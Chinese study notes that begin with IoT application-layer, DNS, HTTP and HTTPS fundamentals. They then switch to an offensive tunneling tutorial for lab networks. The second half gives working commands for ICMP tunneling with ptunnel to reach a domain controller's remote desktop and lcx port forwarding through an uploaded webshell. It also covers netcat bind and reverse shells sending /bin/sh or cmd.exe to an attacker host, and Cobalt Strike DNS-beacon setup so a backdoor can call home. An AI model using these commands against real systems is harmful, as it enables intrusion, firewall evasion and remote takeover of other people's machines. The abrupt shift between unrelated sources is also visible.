应用层包括应用基础设施/中间件和各种物联网应用。
应用层位于物联网三层结构中的最顶层，其功能为“处理”，即通过云计算平台进行信息处理。应用层与最低端的感知层一起,是物联网的显著特征和核心所在,应用层可以对感知层采集数据进行计算、处理和知识挖掘,从而实现对物理世界的实时控制、精确管理和科学决策。
应用基础设施/中间件为物联网应用提供信息处理、计算等通用基础服务设施、能力及资源调用接口，以此为基础实现物联网在众多领域的各种应用。

物联网应用层的关键技术：

1.云计算：云计算可以助力物联网海量数据的存储和分析。依据云计算的服务类型可以将云分为：基础架构即服务(IaaS)、平台即服务（PaaS)、服务和软件即服务（SaaS).

2.大数据：应用层可以对感知层采集数据进行计算、处理和知识挖掘，从而实现对物理世界的实时控制、精确管理和科学决策。

物联网应用层的结构:

1.物联网中间件:物联网中间件是一种独立的系统软件或服务程序,中间件将各种可以公用的能力进行统一封装， 提供给物联网应用使用。
2.物联网应用:物联网应用就是用户直接使用的各种应用,如智能操控、安防、电力抄表、远程医疗、智能农业等等。

3.云计算、大数据:云计算可以助力物联网海量数据的存储和分析。依据云计算的服务类型可以将云分为:基础架构即服务(IaaS)、平台即服务( PaaS)、服务和软件即服务( SaaS).

1. 域名系统DNS

域名系统DNS是互联网使用的命名系统，用来把便于人们使用的机器名字转换为IP地址。

当某一个应用进程需要把主机名解析为IP地址时，该应用进程就调用解析程序并成为DNS的一个客户，把待解析的域名放在DNS请求报文中，以UDP用户数据报方式发给本地域名服务器（使用UDP是为了减少开销）本地域名服务器在查找域名后，把对应的IP地址放在回答报文中返回。应用进程获得目的主机的IP地址后即可进行通信。

若本地域名服务器不能回答该请求，则此域名服务器就暂时成为DNS中的另一个客户，并向其他域名服务器发出查询请求。

---

1.1 域名系统结构

“域”是名字空间中一个可被管理的划分。域还可以划分为子域，而子域还可继续划分为子域的子域，这样就形成了顶级域、二级域、三级域，等等。

mail.	cctv.	com
三级域名	二级域名	顶级域名

---

1.2 域名服务器

一个服务器所负责管辖的范围叫做区。各单位根据具体情况来划分自己管辖范围的区。但在一个区中的所有节点必须是能够连通的。每一个区设置相应的权限域名服务器,用来保存该区中的所有主机的域名到IP地址的映射。总之，DNS服务器的管辖范围不是以“域”为单位，而是以“区”为单位，区是“域”的子集。

1. 根域名服务器:根域名服务器是最高层次的域名服务器，也是最重要的域名服务器。所有的根域名服务器都知道所有的顶级域名服务器的域名和IP地址。根域名服务器是最重要的域名服务器，因为不管是哪一个本地域名服务器，若要对互联网上任何一个域名进行解析，只要自己无法解析，就首先要求助于根域名服务器。

2. 顶级域名服务器：这些域名服务器负责管理在该顶级域名服务器注册的所有二级域名。当收到DNS查询请求时，就给出相应的回答（可能是最后的结果，也可能是下一步应当找的域名服务器的IP地址）

3. 权限域名服务器：这就是前面已经讲过的负责一个区的域名服务器。当一个权限域名服务器还不能给出最后的查询回答时，就会告诉发出查询请求的DNS客户，下一步应当找哪一个权限域名服务器。

4. 本地域名服务器:本地域名服务器并不属于域名服务器层次结构，但它对域名系统非常重要。当一台主机发出DNS查询请求时，这个查询请求报文就发送给本地域名服务器。

DNS查询举例

为了提高域名服务器的可靠性，DNS域名服务器都把数据复制到几个域名服务器来保存，其中的一个是主域名服务器,其他的是辅助域名服务器，当主域名服务器出故障时，辅助域名服务器可以保证DNS的查询工作不会中断。主域名服务器定期把数据复制到辅助域名服务器中，而更改数据只能在主域名服务器中进行。这样就保证了数据的一致性。

1. 主机向本地域名服务器的查询一般都是采用递归查询

如果主机所询问的本地域名服务器不知道被查询域名的IP地址，那么本地域名服务器就以DNS客户的身份，向其他根域名服务器继续发出查询请求报文，即替该主机继续查询。因此，递归查询返回的查询结果或者是所要查询的IP地址，或者是报错，表示无法查询到所需的IP地址。

2. 本地域名服务器向根域名服务器的查询通常是采用迭代查询

当根域名服务器收到本地域名服务器发出的迭代查询请求报文时，要么给出所要查询的IP地址，要么告诉本地域名服务器：“你下一步应当向哪一个域名服务器进行查询”。然后让本地域名服务器进行后续的查询。当然，本地域名服务器也可以采用递归查询，这取决于最初的查询请求报文的设置是要求使用哪一种查询方式。

2. HTTP协议

2.1HTTP特点

1. HTTP协议用于客户端和服务器端之间的通信
2. 通过请求和响应的交换达成通信

3. HTTP是不保存状态的协议，是无状态协议，引入Cookie才能保持状态
4. HTTP请求URI定位资源

---

2.2 HTTP方法

• GET：获取资源 ：请求访问已被URI识别的资源。
  指定的资源经服务器端解析后返回响应内容。也就是说，如果请求的资源是文本，那就保持原样返回；如果是像CG（通用网关接口）那样的程序，则返回经过执行后的输出结果。
• POST：传输实体主体：传输实体的主体。
  虽然用GET方法也可以传输实体的主体，但一般不用GET方法进行传输，而是用POST方法。虽说POST的功能与GET很相似，但POST的主要目的并不是获取响应的主体内容。

---

2.3 持久连接节省通信量

HTTP协议的初始版本中，每进行一次HTTP通信就要断开一次TCP连接。

为解决上述TCP连接的问题，HTTP/1.1和一部分的HTTP/1.0想出了持久连接的方法。持久连接的特点是，只要任意一端没明确提出断开连接，则保持TCP连接状态。

持久连接使得多数请求以管线化方式发送成为可能。从前发送请求后需等待并收到响应，才能发送下一个请求。管线化技术出现后，不用等待响应亦可直接发送下一个请求。这样就能够做到同时并行发送多个请求，而不需要一个接一个地等待响应了。

---

2.4 使用Cookie用的状态管理

Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息，通知客户端保存 Cookie当下次客户端再往该服务器发送请求时，客户端会自动在请求报文中加入Cookie值后发送出去。
服务器端发现客户端发送过来的 Cookie后，会去检查究竟是从哪一个客户端发来的连接请求，然后对比服务器上的记录，最后得到之前的状态信息。

---

2.5 HTTP报文

用于HTTP协议交互的信息被称为HTTP报文。请求端（客户端）的HTTP报文叫做请求报文，响应端（服务器端）的叫做响应报文。hTTP报文本身是由多行数据构成的字符串文本。

HTTP报文大致可分为报文首部和报文主体两块。两者由最初出现的空行来划分。通常，并不一定要有报文主体。

• 请求行 包含用于请求的方法，请求URI和HTTP版本。
• 状态行 包含表明响应结果的状态码，原因短语和HTTP版本。
• 首部字段 包含表示请求和响应的各种条件和属性的各类首部。

---

2.6 编码提升传输速率

1. HTTP协议中内容编码指明应用在实体内容上的编码格式，并保持实体信息原样压缩。内容编码后的实体由客户端接收并负责解码。
2. 在传输大容量数据时，通过把数据分割成多块，能够让浏览器逐步显示页面。这种把实体主体分块的功能称为分块传输编码

---

2.7 HTTP状态码

状态码的职责是当客户端向服务器端发送请求时，描述返回的请求结果。

2XX成功

状态码	功能	描述
200	ok	正常处理
204	NO Content	连接成功，但不返回资源(无需更新)
206	Partial Content	返回范围请求

3XX重定向

状态码	功能	描述
301	Moved Permanently	永久性重定向,请求的资源已被分配了新的URI
302	Found	临时性重定向,希望用户本次能使用新的URI访问
303	See Other	请求资源存在着另一个URI，应使用GET方法获取
304	Not Modified	发送附带条件的请求时，未满足条件的情况
307	Temporary Redirect	临时重定向。该状态码与302有相同含义

4XX客户端错误

状态码	功能	描述
400	Bad Request	请求报文中存在语法错误
401	Unauthorized	请求需要有通过httP认证的认证信息;之前已进行过请求,表示认证失败
403	Forbidden	请求资源的访问被服务器拒绝了
404	Not Found	服务器上无法找到请求的资源。

5XX服务器错误

状态码	功能	描述
500	Internal Server Error	服务器端在执行请求时发生了错误
503	Service Unavailable	服务器暂时处于超负载或正在进行停机维护

---

2.8用单台虚拟主机实现多个域名

多个域名可以同时部署在同一个服务器上（相同的IP地址），使用DNS服务解析域名后，两者的访问IP地址会相同。

在相同的IP地址下，由于虚拟主机可以寄存多个不同主机名和域名的Web网站，因此在发送HTTP请求时，必须在Host首部内完整指定主机名或域名的URI

---

2.9通信数据转发程序：代理、网关、隧道

代理

代理是一种有转发功能的应用程序。代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求URI，会直接发送给前方持有资源的目标服务器。

在HTTP通信过程中，可级联多台代理服务器。请求和响应的转发会经过数台类似锁链一样连接起来的代理服务器。

1. 缓存代理
   代理转发响应时，缓存代理会预先将资源的副本保存在代理服务器上。当代理再次接收到对相同资源的请求时，将之前缓存的资源作为响应返回。
2. 透明代理
   转发请求或响应时，不对报文做任何加工的代理类型被称为透明代理。反之，对报文内容进行加工的代理被称为非透明代理。

网关

网关是转发其他服务器通信数据的服务器，接收从客户端发送来的请求时，它就像自己拥有资源的源服务器一样对请求进行处理。

网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提供非HTTP协议服务。利用网关能提高通信的安全性，因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。比如，网关可以连接数据库，使用SQL语句查询数据。

隧道

隧道是在相隔甚远的客户端和服务器两者之间进行中转，隧道按要求建立起一余与其他服器的通信线路，时使用SSL等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。

隧道本身不会去解析HTTP请求。也就是说，请求保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束。

3 确保安全的HTTPS

3.1 HTPP的缺点

• 通信使用明文（不加密），内容可能会被窃听
• 不验证通信方的身份，因此有可能遭遇伪装
• 无法证明报文的完整性，所以有可能已遭篡改

3.1.1 加密防止窃听

通信的加密

一种方式就是将通信加密。HTTP协议中没有加密机制，但可以通
过和SSL或TLS的组合使用，加密HTTP的通信内容。与SSL组合使用的HTTP被称为HTTPS

内容的加密

还有一种将参与通信的内容本身加密的方式。由于HTTP协议中没有加密机制，那么就对HTTP协议传输的内容本身加密。即把HTTP报文里所含的内容进行加密处理。在这种情况下，客户端需要对HTTP报文进行加密处理后再发送请求。

3.1.2 不验证通信方的身份就可能遭遇伪装

• 无法确定请求发送至目标的Web服务器是否是按真实意图返回响应的那台服务器。有可能是已伪装的Web服务器。
• 无法确定响应返回到的客户端是否是按真实意图接收响应的那个客户端。有可能是已伪装的客户端。
• 无法确定正在通信的对方是否具备访问权限。因为某些Web服务器上保存着重要的信息，只想发给特定用户通信的权限。
• 无法判定请求是来自何方、出自谁手。
• 即使是无意义的请求也会照单全收,无法阻止海量请求下的Dos攻击

SSL不仅提供加密处理，而且还使用了一种被称为证书的手段，证书由值得信任的第三方机构颁发，用以证明服务器和客户端是实际存在的。

3.1.3 无法证明报文完整性，可能已遭篡改

接收到的内容可能有误

没有任何办法确认，发出的请求/响应和接收到的请求/响应是前后相同的。

请求或响应在传输途中，遭攻击者拦截并篡改内容的攻击称为中间人攻击

如何防止篡改

常用确定报文完整性的方法是MD5和SHA-1等散列值校验的方法，以及用来确认文件的数字签名方法。

3.2 HTTP+加密+认证+完整性保护= HTTPS

HTTPS并非是应用层的一种新协议。只是HTTP通信接口部分用SSL和TLS协议代替而已。

3.2.1 相互交换密钥的公开密钥加密技术

共享钥加密的困境

加密和解密同用一个密钥的方式称为共享密钥加密,也被叫做对称密钥加密。

发送密钥就有被窃听的风险，但不发送，对方就不能解密。再说，密钥若能够安全发送，那数据也应该能安全送达。

使用两把密钥的公开密钥加密

公开密钥加密使用一对非对称的密钥。一把叫做私有密钥,另一把叫做公开密钥。顾名思义，私有密钥不能让其他任何人知道，而公开密钥则可以随意发布，任何人都可以获得

使用公开密钥加密方式，发送密文的一方使用对方的公开密钥进行加密处理，对方收到被加密的信息后，再使用自己的私有密钥进行解密。利用这种方式，不需要发送用来解密的私有密钥，也不必担心密钥被攻击者窃听而盗走。

HTTPS采用混合加密机制

HTTPS采用共享密钥加密和公开密钥加密两者并用的混合加密机制。若密钥能够实现安全交换，那么有可能会考虑仅使用公开密钥加密来通信。但是公开密钥加密处理速度要慢。
所以应充分利用两者各自的优势，将多种方法组合起来用于通信。在交换密钥环节使用公开密钥加密方式，之后的建立通信交换报文阶段则使用共享密钥加密方式。

1. 使用公开密钥加密方式安全地交换在稍后的共享密钥加密中要使用的密钥
2. 确保交换的密钥是安全的前提下，使用共享密钥加密方式进行通信

隧道技术：在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截

解决的问题：CS、MSF 无法上线，数据传输不稳定无回显，出口数据被监控，网络通信存在问题等

常用的隧道技术有以下三种：
网络层：IPv6 隧道## 标题、ICMP 隧道
传输层：TCP 隧道、UDP 隧道、常规端口转发
应用层：SSH 隧道、HTTP/S 隧道、DNS 隧道

案例 1-网络传输应用层检测连通性-检测

先测试目标是否支持这些协议

1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令：nc <IP> <端口>

2. HTTP 协议
用“curl”工具，执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口，且内网可连接外网的
话，就会输出相应的端口信息

3. ICMP 协议
用“ping”命令，执行 ping <IP 地址/域名>

4. DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令

案例 2-网络层 ICMP 隧道 ptunnel 使用-检测,利用

kali2020-Target2-Target3

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

-p ##表示连接 icmp 隧道另一端的机器 IP（即目标服务器）
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP（即目标内网某一机器的内网 IP）
-dp ##指定需要转发的机器的端口（即目标内网某一机器的内网端口）
-x ##设置连接的密码

Webserver：./ptunnel -x xiaodi
Hacker xiaodi：./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的 3389
请求数据给本地 1080
Hacker xiaodi：rdesktop 127.0.0.1 1080

老版本介绍：https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍：https://github.com/esrrhs/pingtunnel(二次开发版)

先通过ping命令看目标是否又icmp协议，再把tcp/udp/sock5等协议的流量伪装成icmp协议
因为tcp/udp/sock5等协议很有可能被防火墙拦截

通过webshell在webserver主机上面上传ptunnel并运行，就会在本地开一个隧道，-x后面是密码，等待别人连接

kali处执行命令./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi

通过密码对webserver主机建立连接，并通过webserver主机去访问DC主机的3389远程桌面端口，将数据转发给本地kali的1080端口

kali连接本地的1080端口

因为1080端口接收了DC主机3389端口返回的数据，所以可直接连接上DC的远程桌面

这样的话，数据流量走的就不是TCP协议，而是icmp

案例 3-传输层转发隧道 Portmap 使用-检测,利用

windows: lcx
linux：portmap

通过webshell将lcx上传至受害者服务器，并执行
lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给跳板 IP 的 3131

跳板机处执行
lcx -listen 3131 3333 //监听 3131 转发至 3333

kali这边通过rdesktop连接跳板机的3333端口

案例 4-传输层转发隧道 Netcat 使用-检测,利用,功能

Kali2020-god\webserver-god\sqlserver|dc

1.双向连接反弹 shell

正向：攻击连接受害
受害：nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击：nc 192.168.76.132 1234 //主动连接

反向：受害连接攻击
攻击：nc -lvp 1234
受害：nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe

2.多向连接反弹 shell-配合转发
反向：
god\Webserver：Lcx.exe -listen 2222 3333
god\Sqlserver：nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali 或本机：nc -v 192.168.76.143 3333

3.相关 netcat 主要功能测试
指纹服务：nc -nv 192.168.76.143
端口扫描：nc -v -z 192.168.76.143 1-100
端口监听：nc -lvp xxxx
文件传输：nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell：见上

1.双向连接反弹 shell

正向连接

在受害者主机上执行nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows，将cmd窗口反弹到1234端口上

攻击者这边直接通过nc访问受害者的1234端口

反向连接
攻击主机监听自己的1234端口

受害者主动执行cmd窗口，并将cmd反弹到攻击者主机的1234端口上

攻击者这边接收到cmd会话

2.多向连接反弹 shell-配合转发

有跳板机时

在受害者处执行nc，将cmd窗口反弹给跳板中间机的2222端口

跳板机这里用Lcx执行，将本地2222端口转发到本地的3333端口上

攻击者kali这里，用nc去访问跳板机的3333端口
成功反弹回受害者的cmd窗口会话

3.相关 netcat 主要功能测试

指纹服务：nc -nv 192.168.76.143
端口扫描：nc -v -z 192.168.76.143 1-100
端口监听：nc -lvp xxxx
文件传输：nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell：见上

案例 5-应用层 DNS 隧道配合 CS 上线-检测,利用，说明

当你的后门是用http协议生成的，后门返回的数据就是通过http来传输的
当你的后门是用dns协议生成的，后门返回的数据也是通过相应的dns协议传输的

当对方的防火墙检测http协议时，你的http后门执行后，返回的数据会被对方的防火墙拦截

当常见协议监听器被拦截时，可以换其他协议上线，其中 dns 协议上线基本通杀

1.云主机 Teamserver 配置端口 53 启用-udp

2.买一个域名修改解析记录如下：
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址

3.配置 DNS 监听器内容如下：
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com

4.生成后门执行上线后启用命令：
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt

dns添加解析A记录，主机名为cs，指向cs服务器的ip

添加NS记录，指向A记录的地址，主机名为ns1和ns2
当对方用NS去解析时，解析的地址是A记录的地址，仍然会对cs服务器进行访问

cs处添加监听器，Payload选择DNS

添加两个DNS Hosts，为刚才设置的ns1和ns2的网址
DNS Host为刚才设置的cs的网址

配置完监听器后，生成后门

选择刚才设置的监听器


将生成的后门上传到目标主机，并执行
cs处接收到目标主机上线

因为是dns协议传输，所以特别慢，并且要执行几个命令才能对目标直接进行控制

输入完后等待一会，等待目标主机返回数据，则成功拿到shell


可通过shell执行命令